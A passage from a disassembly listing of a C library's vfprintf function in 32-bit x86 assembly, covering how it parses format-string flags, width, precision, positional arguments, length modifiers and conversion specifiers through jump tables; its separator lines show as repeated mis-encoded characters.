[ebp+var_4F0], eax loc_8050E0E: ; CODE XREF: vfprintf+157Bj mov ecx, [ebp+var_4F0] cmp byte ptr [ecx], 0 jnz short loc_8050DDC loc_8050E19: ; CODE XREF: vfprintf+1551j ; vfprintf+155Dj mov ebx, [ebp+var_4F0] mov [ebp+var_400], ebx mov edi, [ebp+arg_0] mov edi, [edi+50h] mov edx, [ebp+var_400] sub edx, esi push edx push esi mov ecx, [ebp+arg_0] push ecx mov edx, [edi+34h] call edx mov edx, [ebp+var_400] sub edx, esi add esp, 0Ch cmp eax, edx jnz short loc_8050E72 ; case 0x0 add [ebp+var_464], eax mov edx, [ebp+var_400] cmp byte ptr [edx], 0 jnz loc_804F9AC jmp loc_80529B8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8050E68: ; CODE XREF: vfprintf+13j vfprintf+2Aj ... mov __errno, 16h loc_8050E72: ; CODE XREF: vfprintf+EAj ; vfprintf+1ABj ... mov eax, 0FFFFFFFFh ; case 0x0 jmp loc_80529BE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050E7C: ; CODE XREF: vfprintf+1A5j ; vfprintf+1ABj ... mov [ebp+var_4A8], 20h ; default add esp, 0FFFFF500h mov [ebp+var_4AC], esp mov [ebp+var_4A4], 0 mov [ebp+var_4B0], 0 mov [ebp+var_43C], 0 cmp [ebp+var_458], 0FFFFFFFFh jnz short loc_8050F38 mov edx, dword_8078890 mov edx, [edx+10h] mov [ebp+var_4E0], edx xor al, al mov esi, [ebp+var_4E0] mov edi, esi cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx dec edx push edx mov ecx, [ebp+var_4E0] push ecx lea edx, [ebp+var_3F8] push edx call sub_805602C add esp, 0Ch test eax, eax jg short loc_8050F0C mov edx, dword_8078890 mov edx, [edx+10h] movzx edx, byte ptr [edx] mov [ebp+var_3F8], edx loc_8050F0C: ; CODE XREF: vfprintf+1670j mov edx, dword_8078890 mov edx, [edx+14h] mov [ebp+var_458], edx cmp byte ptr [edx], 0 jz short loc_8050F2E cmp byte ptr [edx], 0FFh jz short loc_8050F2E cmp [ebp+var_3F8], 0 jnz short loc_8050F38 loc_8050F2E: ; CODE XREF: vfprintf+1696j ; vfprintf+169Bj mov [ebp+var_458], 0 loc_8050F38: ; CODE XREF: vfprintf+162Fj ; vfprintf+16A4j mov ebx, [ebp+var_45C] mov [ebp+var_400], ebx cmp byte ptr [ebx], 0 jz loc_805190C mov edi, [ebp+var_4A4] lea edx, [edi+edi*4] lea edx, [edi+edx*2] shl edx, 3 mov [ebp+var_4D4], edx lea esi, [esi] loc_8050F64: ; CODE XREF: vfprintf+207Ej mov ecx, [ebp+var_4A8] cmp [ebp+var_4A4], ecx jb short loc_8050FDE mov esi, [ebp+var_4AC] add ecx, ecx mov [ebp+var_4A8], ecx lea edx, [ecx+ecx*4] lea edx, [ecx+edx*2] shl edx, 3 sub esp, edx mov [ebp+var_4AC], esp mov edx, [ebp+var_4D4] add edx, esi cmp esp, edx jnz short loc_8050FAC mov edx, ecx shr edx, 1 add ecx, edx mov [ebp+var_4A8], ecx jmp short loc_8050FDE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050FAC: ; CODE XREF: vfprintf+1713j mov ebx, [ebp+var_4D4] push ebx push esi mov edi, [ebp+var_4AC] push edi call memcpy add esp, 0Ch mov edx, [ebp+var_4AC] add edx, ebx cmp esi, edx jnz short loc_8050FDE mov edx, [ebp+var_4A8] shr edx, 1 add [ebp+var_4A8], edx loc_8050FDE: ; CODE XREF: vfprintf+16E8j ; vfprintf+1722j ... mov ecx, [ebp+var_4B0] mov [ebp+var_4B8], ecx mov esi, [ebp+var_4D4] add esi, [ebp+var_4AC] mov edx, [ebp+var_400] mov [ebp+var_450], edx mov [ebp+var_4BC], 0 inc [ebp+var_450] mov dword ptr [esi+40h], 0FFFFFFFFh mov dword ptr [esi+18h], 0 mov dword ptr [esi+1Ch], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+24h], 0 mov dword ptr [esi+28h], 0 mov byte ptr [esi+2Ch], 20h mov edx, [ebp+var_450] movzx eax, byte ptr [edx] mov ebx, dword_8078FA0 mov [ebp+var_4F0], ebx test byte ptr [ebx+eax*2+1], 8 jz loc_80511BB ; default mov [ebp+var_4C0], edx lea edi, [ebp+var_450] mov [ebp+var_4EC], edi add eax, 0FFFFFFD0h inc [ebp+var_450] mov edx, [ebp+var_450] movzx edx, byte ptr [edx] test byte ptr [ebx+edx*2+1], 8 jz short loc_80510CC nop loc_805108C: ; CODE XREF: vfprintf+1842j lea edx, [eax+eax*8] lea edx, [edx+eax-30h] mov [ebp+var_4E0], edx mov ecx, [ebp+var_4EC] mov edx, [ecx] movzx edx, byte ptr [edx] mov eax, [ebp+var_4E0] add eax, edx inc dword ptr [ecx] mov edx, [ecx] movzx edx, byte ptr [edx] mov [ebp+var_4E0], edx mov edx, dword_8078FA0 mov ebx, [ebp+var_4E0] test byte ptr [edx+ebx*2+1], 8 jnz short loc_805108C loc_80510CC: ; CODE XREF: vfprintf+1801j test eax, eax jz short loc_8051100 mov edx, [ebp+var_450] cmp byte ptr [edx], 24h jnz short loc_8051100 inc [ebp+var_450] lea edi, [eax-1] mov [esi+40h], edi mov edx, [ebp+var_43C] cmp edx, eax jnb short loc_80510F3 mov edx, eax loc_80510F3: ; CODE XREF: vfprintf+1867j mov [ebp+var_43C], edx jmp loc_80511BB ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051100: ; CODE XREF: vfprintf+1846j ; vfprintf+1851j mov ecx, [ebp+var_4C0] mov [ebp+var_450], ecx jmp loc_80511BB ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051114: ; CODE XREF: vfprintf+193Cj ; vfprintf+1945j ... mov edx, [ebp+var_450] movzx edx, byte ptr [edx] add edx, 0FFFFFFE0h inc [ebp+var_450] cmp edx, 10h ; switch 17 cases ja loc_80511BB ; default jmp ds:off_8051138[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h off_8051138 dd offset loc_805117C, 2 dup(offset loc_80511BB), offset loc_80511A0 ; DATA XREF: vfprintf+18A7r dd 3 dup(offset loc_80511BB), offset loc_80511B4, 3 dup(offset loc_80511BB) ; jump table for switch statement dd offset loc_8051188, offset loc_80511BB, offset loc_8051194 dd 2 dup(offset loc_80511BB), offset loc_80511AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805117C: ; CODE XREF: vfprintf+18A7j ; DATA XREF: vfprintf+18B0o mov dword ptr [esi+1Ch], 1 ; case 0x0 jmp short loc_80511BB ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051188: ; CODE XREF: vfprintf+18A7j ; DATA XREF: vfprintf+18B0o mov dword ptr [esi+24h], 1 ; case 0xb jmp short loc_80511BB ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051194: ; CODE XREF: vfprintf+18A7j ; DATA XREF: vfprintf+18B0o mov dword ptr [esi+20h], 1 ; case 0xd jmp short loc_80511BB ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80511A0: ; CODE XREF: vfprintf+18A7j ; DATA XREF: vfprintf+18B0o mov dword ptr [esi+18h], 1 ; case 0x3 jmp short loc_80511BB ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80511AC: ; CODE XREF: vfprintf+18A7j ; DATA XREF: vfprintf+18B0o mov byte ptr [esi+2Ch], 30h ; case 0x10 jmp short loc_80511BB ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80511B4: ; CODE XREF: vfprintf+18A7j ; DATA XREF: vfprintf+18B0o mov dword ptr [esi+28h], 1 ; case 0x7 loc_80511BB: ; CODE XREF: vfprintf+17D2j ; vfprintf+1871j ... mov edx, [ebp+var_450] ; default cmp byte ptr [edx], 20h jz loc_8051114 cmp byte ptr [edx], 2Bh jz loc_8051114 cmp byte ptr [edx], 2Dh jz loc_8051114 cmp byte ptr [edx], 23h jz loc_8051114 cmp byte ptr [edx], 30h jz loc_8051114 cmp byte ptr [edx], 27h jz loc_8051114 cmp dword ptr [esi+20h], 0 jz short loc_8051201 mov byte ptr [esi+2Ch], 20h loc_8051201: ; CODE XREF: vfprintf+1973j mov dword ptr [esi+3Ch], 0FFFFFFFFh mov dword ptr [esi+4], 0 mov edx, [ebp+var_450] cmp byte ptr [edx], 2Ah jnz loc_8051310 inc [ebp+var_450] mov ebx, [ebp+var_450] mov [ebp+var_4F0], ebx movzx edx, byte ptr [ebx] mov edi, dword_8078FA0 mov [ebp+var_4E0], edi test byte ptr [edi+edx*2+1], 8 jz loc_80512DD lea ecx, [ebp+var_450] mov [ebp+var_4EC], ecx lea eax, [edx-30h] inc [ebp+var_450] mov edx, [ebp+var_450] movzx edx, byte ptr [edx] test byte ptr [edi+edx*2+1], 8 jz short loc_80512B0 nop loc_8051270: ; CODE XREF: vfprintf+1A26j lea edx, [eax+eax*8] lea edx, [edx+eax-30h] mov [ebp+var_4E0], edx mov ebx, [ebp+var_4EC] mov edx, [ebx] movzx edx, byte ptr [edx] mov eax, [ebp+var_4E0] add eax, edx inc dword ptr [ebx] mov edx, [ebx] movzx edx, byte ptr [edx] mov [ebp+var_4E0], edx mov edx, dword_8078FA0 mov edi, [ebp+var_4E0] test byte ptr [edx+edi*2+1], 8 jnz short loc_8051270 loc_80512B0: ; CODE XREF: vfprintf+19E5j test eax, eax jz short loc_80512DD mov edx, [ebp+var_450] cmp byte ptr [edx], 24h jnz short loc_80512DD lea ecx, [eax-1] mov [esi+3Ch], ecx mov edx, [ebp+var_43C] cmp edx, eax jnb short loc_80512D1 mov edx, eax loc_80512D1: ; CODE XREF: vfprintf+1A45j mov [ebp+var_43C], edx inc [ebp+var_450] loc_80512DD: ; CODE XREF: vfprintf+19BCj ; vfprintf+1A2Aj ... cmp dword ptr [esi+3Ch], 0 jge loc_8051397 mov ebx, [ebp+var_4B8] mov [esi+3Ch], ebx inc ebx mov [ebp+var_4B8], ebx inc [ebp+var_4BC] mov edi, [ebp+var_4F0] mov [ebp+var_450], edi jmp loc_8051397 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051310: ; CODE XREF: vfprintf+1990j mov edx, [ebp+var_450] movzx edx, byte ptr [edx] mov ecx, dword_8078FA0 mov [ebp+var_4F0], ecx test byte ptr [ecx+edx*2+1], 8 jz short loc_8051397 lea ebx, [ebp+var_450] mov [ebp+var_4EC], ebx lea eax, [edx-30h] inc [ebp+var_450] mov edx, [ebp+var_450] movzx edx, byte ptr [edx] test byte ptr [ecx+edx*2+1], 8 jz short loc_8051394 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8051354: ; CODE XREF: vfprintf+1B0Aj lea edx, [eax+eax*8] lea edx, [edx+eax-30h] mov [ebp+var_4E0], edx mov edi, [ebp+var_4EC] mov edx, [edi] movzx edx, byte ptr [edx] mov eax, [ebp+var_4E0] add eax, edx inc dword ptr [edi] mov edx, [edi] movzx edx, byte ptr [edx] mov [ebp+var_4E0], edx mov edx, dword_8078FA0 mov ecx, [ebp+var_4E0] test byte ptr [edx+ecx*2+1], 8 jnz short loc_8051354 loc_8051394: ; CODE XREF: vfprintf+1AC7j mov [esi+4], eax loc_8051397: ; CODE XREF: vfprintf+1A59j ; vfprintf+1A81j ... mov dword ptr [esi+38h], 0FFFFFFFFh mov dword ptr [esi], 0FFFFFFFFh mov edx, [ebp+var_450] cmp byte ptr [edx], 2Eh jnz loc_805154A inc [ebp+var_450] mov edx, [ebp+var_450] cmp byte ptr [edx], 2Ah jnz loc_80514BC inc [ebp+var_450] mov ebx, [ebp+var_450] mov [ebp+var_4F0], ebx movzx edx, byte ptr [ebx] mov edi, dword_8078FA0 mov [ebp+var_4E0], edi test byte ptr [edi+edx*2+1], 8 jz loc_8051489 lea ecx, [ebp+var_450] mov [ebp+var_4EC], ecx lea eax, [edx-30h] inc [ebp+var_450] mov edx, [ebp+var_450] movzx edx, byte ptr [edx] test byte ptr [edi+edx*2+1], 8 jz short loc_805145C db 8Dh,76h,0 ; lea esi, [esi+0] loc_805141C: ; CODE XREF: vfprintf+1BD2j lea edx, [eax+eax*8] lea edx, [edx+eax-30h] mov [ebp+var_4E0], edx mov ebx, [ebp+var_4EC] mov edx, [ebx] movzx edx, byte ptr [edx] mov eax, [ebp+var_4E0] add eax, edx inc dword ptr [ebx] mov edx, [ebx] movzx edx, byte ptr [edx] mov [ebp+var_4E0], edx mov edx, dword_8078FA0 mov edi, [ebp+var_4E0] test byte ptr [edx+edi*2+1], 8 jnz short loc_805141C loc_805145C: ; CODE XREF: vfprintf+1B8Fj test eax, eax jz short loc_8051489 mov edx, [ebp+var_450] cmp byte ptr [edx], 24h jnz short loc_8051489 lea ecx, [eax-1] mov [esi+38h], ecx mov edx, [ebp+var_43C] cmp edx, eax jnb short loc_805147D mov edx, eax loc_805147D: ; CODE XREF: vfprintf+1BF1j mov [ebp+var_43C], edx inc [ebp+var_450] loc_8051489: ; CODE XREF: vfprintf+1B66j ; vfprintf+1BD6j ... cmp dword ptr [esi+38h], 0 jge loc_805154A mov ebx, [ebp+var_4B8] mov [esi+38h], ebx inc ebx mov [ebp+var_4B8], ebx inc [ebp+var_4BC] mov edi, [ebp+var_4F0] mov [ebp+var_450], edi jmp loc_805154A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80514BC: ; CODE XREF: vfprintf+1B3Aj mov edx, [ebp+var_450] movzx edx, byte ptr [edx] mov ecx, dword_8078FA0 mov [ebp+var_4F0], ecx test byte ptr [ecx+edx*2+1], 8 jz short loc_8051544 lea ebx, [ebp+var_450] mov [ebp+var_4EC], ebx lea eax, [edx-30h] inc [ebp+var_450] mov edx, [ebp+var_450] movzx edx, byte ptr [edx] test byte ptr [ecx+edx*2+1], 8 jz short loc_8051540 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8051500: ; CODE XREF: vfprintf+1CB6j lea edx, [eax+eax*8] lea edx, [edx+eax-30h] mov [ebp+var_4E0], edx mov edi, [ebp+var_4EC] mov edx, [edi] movzx edx, byte ptr [edx] mov eax, [ebp+var_4E0] add eax, edx inc dword ptr [edi] mov edx, [edi] movzx edx, byte ptr [edx] mov [ebp+var_4E0], edx mov edx, dword_8078FA0 mov ecx, [ebp+var_4E0] test byte ptr [edx+ecx*2+1], 8 jnz short loc_8051500 loc_8051540: ; CODE XREF: vfprintf+1C73j mov [esi], eax jmp short loc_805154A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051544: ; CODE XREF: vfprintf+1C4Ej mov dword ptr [esi], 0 loc_805154A: ; CODE XREF: vfprintf+1B25j ; vfprintf+1C05j ... mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 jmp loc_8051653 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051564: ; CODE XREF: vfprintf+1DD4j ; vfprintf+1DDDj ... mov edx, [ebp+var_450] movzx edx, byte ptr [edx] add edx, 0FFFFFFB4h inc [ebp+var_450] cmp edx, 25h ; switch 38 cases ja loc_8051653 ; default jmp ds:off_8051588[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h off_8051588 dd offset loc_805164C, 0Dh dup(offset loc_8051653), offset loc_805163C ; DATA XREF: vfprintf+1CF7r dd 0Dh dup(offset loc_8051653), offset loc_8051620, 3 dup(offset loc_8051653) ; jump table for switch statement dd offset loc_805162C, 4 dup(offset loc_8051653), offset loc_805164C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051620: ; CODE XREF: vfprintf+1CF7j ; DATA XREF: vfprintf+1D00o mov dword ptr [esi+10h], 1 ; case 0x1c jmp short loc_8051653 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805162C: ; CODE XREF: vfprintf+1CF7j ; DATA XREF: vfprintf+1D00o cmp dword ptr [esi+14h], 0 ; case 0x20 jnz short loc_805164C ; case 0x0 mov dword ptr [esi+14h], 1 jmp short loc_8051653 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805163C: ; CODE XREF: vfprintf+1CF7j ; DATA XREF: vfprintf+1D00o mov dword ptr [esi+0Ch], 0 ; case 0xe mov dword ptr [esi+14h], 0 jmp short loc_8051653 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805164C: ; CODE XREF: vfprintf+1CF7j ; vfprintf+1DA8j ; DATA XREF: ... mov dword ptr [esi+0Ch], 1 ; case 0x0 loc_8051653: ; CODE XREF: vfprintf+1CD7j ; vfprintf+1CF1j ... mov edx, [ebp+var_450] ; default cmp byte ptr [edx], 68h jz loc_8051564 cmp byte ptr [edx], 6Ch jz loc_8051564 cmp byte ptr [edx], 4Ch jz loc_8051564 cmp byte ptr [edx], 5Ah jz loc_8051564 cmp byte ptr [edx], 71h jz loc_8051564 mov edx, [ebp+var_450] mov dl, [edx] mov [esi+8], dl inc [ebp+var_450] movzx eax, byte ptr [esi+8] cmp ds:dword_807E78C[eax*4], 0 jz short loc_80516C0 lea edx, [esi+44h] push edx push 1 push esi mov edx, ds:dword_807E78C[eax*4] call edx mov [esi+48h], eax add esp, 0Ch jmp loc_8051843 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80516C0: ; CODE XREF: vfprintf+1E1Bj mov dword ptr [esi+48h], 1 movzx edx, byte ptr [esi+8] add edx, 0FFFFFFBBh ; switch 52 cases cmp edx, 33h ja loc_805183C ; default jmp ds:off_80516E0[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h off_80516E0 dd offset loc_80517F0, offset loc_805183C, offset loc_80517F0 ; DATA XREF: vfprintf+1E4Fr dd 10h dup(offset loc_805183C), offset loc_80517B0, 0Ah dup(offset loc_805183C) ; jump table for switch statement dd offset loc_805180C, offset loc_80517B0, 3 dup(offset loc_80517F0) dd offset loc_805183C, offset loc_80517B0, 4 dup(offset loc_805183C) dd offset loc_8051830, offset loc_80517B0, offset loc_8051824 dd 2 dup(offset loc_805183C), offset loc_8051818, offset loc_805183C dd offset loc_80517B0, 2 dup(offset loc_805183C), offset loc_80517B0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80517B0: ; CODE XREF: vfprintf+1E4Fj ; DATA XREF: vfprintf+1E58o cmp dword ptr [esi+0Ch], 0 ; case 0x58 jz short loc_80517C4 mov dword ptr [esi+44h], 100h jmp loc_8051843 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80517C4: ; CODE XREF: vfprintf+1F2Cj cmp dword ptr [esi+14h], 0 jz short loc_80517D4 mov dword ptr [esi+44h], 200h jmp short loc_8051843 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80517D4: ; CODE XREF: vfprintf+1F40j cmp dword ptr [esi+10h], 0 jz short loc_80517E4 mov dword ptr [esi+44h], 400h jmp short loc_8051843 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80517E4: ; CODE XREF: vfprintf+1F50j mov dword ptr [esi+44h], 0 jmp short loc_8051843 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80517F0: ; CODE XREF: vfprintf+1E4Fj ; DATA XREF: vfprintf+1E58o cmp dword ptr [esi+0Ch], 0 ; case 0x45 jz short loc_8051800 mov dword ptr [esi+44h], 105h jmp short loc_8051843 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8051800: ; CODE XREF: vfprintf+1F6Cj mov dword ptr [esi+44h], 5 jmp short loc_8051843 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805180C: ; CODE XREF: vfprintf+1E4Fj ; DATA XREF: vfprintf+1E58o mov dword ptr [esi+44h], 1 ; case 0x63 jmp short loc_8051843 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051818: ; CODE XREF: vfprintf+1E4Fj ; DATA XREF: vfprintf+1E58o mov dword ptr [esi+44h], 2 ; case 0x73 jmp short loc_8051843 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051824: ; CODE XREF: vfprintf+1E4Fj ; DATA XREF: vfprintf+1E58o mov dword ptr [esi+44h], 3 ; case 0x70 jmp short loc_8051843 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051830: ; CODE XREF: vfprintf+1E4Fj ; DATA XREF: vfprintf+1E58o mov dword ptr [esi+44h], 800h ; case 0x6e jmp short loc_8051843 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805183C: ; CODE XREF: vfprintf+1E49j ; vfprintf+1E4Fj ; DATA XREF: ... mov dword ptr [esi+48h], 0 ; default loc_8051843: ; CODE XREF: vfprintf+1E33j ; vfprintf+1F35j ... cmp dword ptr [esi+40h], 0FFFFFFFFh jnz short loc_8051861 cmp dword ptr [esi+48h], 0 jz short loc_8051861 mov ebx, [ebp+var_4B8] mov [esi+40h], ebx mov edi, [esi+48h] add [ebp+var_4BC], edi loc_8051861: ; CODE XREF: vfprintf+1FBFj ; vfprintf+1FC5j cmp byte ptr [esi+8], 0 jnz short loc_8051878 mov edx, [ebp+var_450] dec edx mov [esi+34h], edx mov [esi+30h], edx jmp short loc_80518D2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051878: ; CODE XREF: vfprintf+1FDDj mov edx, [ebp+var_450] mov [esi+30h], edx mov [ebp+var_4F0], edx cmp byte ptr [edx], 0 jz short loc_80518C9 loc_805188C: ; CODE XREF: vfprintf+203Fj mov ecx, [ebp+var_4F0] cmp byte ptr [ecx], 25h jz short loc_80518C9 cmp byte ptr [ecx], 0 jge short loc_80518AD push 1 push ecx push 0 call sub_805602C add esp, 0Ch test eax, eax jg short loc_80518B8 loc_80518AD: ; CODE XREF: vfprintf+2012j inc [ebp+var_4F0] jmp short loc_80518BE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80518B8: ; CODE XREF: vfprintf+2023j add [ebp+var_4F0], eax loc_80518BE: ; CODE XREF: vfprintf+202Bj mov ebx, [ebp+var_4F0] cmp byte ptr [ebx], 0 jnz short loc_805188C loc_80518C9: ; CODE XREF: vfprintf+2002j ; vfprintf+200Dj mov edi, [ebp+var_4F0] mov [esi+34h], edi loc_80518D2: ; CODE XREF: vfprintf+1FECj mov ecx, [ebp+var_4BC] add [ebp+var_4B0], ecx mov ebx, [ebp+var_4D4] mov edi, [ebp+var_4AC] mov edx, [edi+ebx+34h] mov [ebp+var_400], edx add ebx, 58h mov [ebp+var_4D4], ebx inc [ebp+var_4A4] cmp byte ptr [edx], 0 jnz loc_8050F64 loc_805190C: ; CODE XREF: vfprintf+16BFj mov edx, [ebp+var_43C] mov eax, [ebp+var_4B0] cmp 